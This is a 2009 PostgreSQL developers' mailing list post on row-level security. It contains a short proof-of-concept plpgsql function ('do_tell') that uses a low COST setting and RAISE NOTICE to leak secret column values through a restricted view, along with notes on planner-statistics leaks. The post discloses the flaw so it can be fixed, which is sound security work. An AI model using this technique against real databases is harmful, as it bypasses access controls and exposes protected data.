Skip site navigation (1) Skip section navigation (2)

Re: SE-PostgreSQL and row level security/Alternatives

From: Andres Freund <andres(at)anarazel(dot)de>
To: Kevin Grittner <Kevin(dot)Grittner(at)wicourts(dot)gov>
Cc: Robert Haas <robertmhaas(at)gmail(dot)com>, Tom Lane <tgl(at)sss(dot)pgh(dot)pa(dot)us>, KaiGai Kohei <kaigai(at)ak(dot)jp(dot)nec(dot)com>, Gregory Stark <stark(at)enterprisedb(dot)com>, David Fetter <david(at)fetter(dot)org>, KaiGai Kohei <kaigai(at)kaigai(dot)gr(dot)jp>, bogdan(at)omnidatagrup(dot)ro, pgsql-hackers(at)postgresql(dot)org, Martijn van Oosterhout <kleptog(at)svana(dot)org>
Subject: Re: SE-PostgreSQL and row level security/Alternatives
Date: 2009-02-16 16:26:32
Message-ID: 499993B8.10206@anarazel.de (view raw or flat)
Thread:
Lists: pgsql-hackers
On 02/16/2009 04:23 PM, Kevin Grittner wrote:
>>>> Tom Lane<tgl(at)sss(dot)pgh(dot)pa(dot)us>  wrote:
>> We have seen no evidence that anyone has a worked-out
>> set of design rules that make a SE-Postgres database secure against
>> these issues, so the whole thing is pie in the sky.
> I've seen several mentions of the rule "Don't use a column containing
> data you want to secure as part of the primary key." mentioned several
> times in these threads.  I think that just might be the complete set.
> Can anyone show that it's not?
Well, there is at least one additional which currently is not discussed, 
namely statistics/EXPLAIN [ANALYZE].
And it hits the often proposed method of using VIEWs as a form of row 
level access control quite a bit harder than SE-Postgresql:

1. The planner selection estimates might tell you more than allowed
2. The planner execution statistics might tell you even more (view based 
security only)


Generally view based security is not really secure if somebody is 
allowed to create own functions (PGs restricted views for example are not):
Create a function with very low cost like:

CREATE OR REPLACE FUNCTION do_tell(anyelement)
	RETURNS bool
	COST 0.1
	VOLATILE
	LANGUAGE plpgsql
	AS $body$
		BEGIN
			raise notice 'hah: %s', $1::text;
			return true;
		END;
	$body$;

And do a simple query to the restricted schema:

SELECT * FROM restricted_view WHERE do_tell(secret_column);

PG will now happily raise NOTICEs for any columns because do_tell will 
be checked first.

Thinking about it, this even sounds like a more general security issue?


Andres

In response to

pgsql-hackers by date

Next:From: Robert HaasDate: 2009-02-16 16:39:09
Subject: Re: SE-PostgreSQL and row level security
Previous:From: Greg StarkDate: 2009-02-16 16:21:03
Subject: Re: SE-PostgreSQL and row level security

Privacy Policy | About PostgreSQL
Copyright © 1996-2014 The PostgreSQL Global Development Group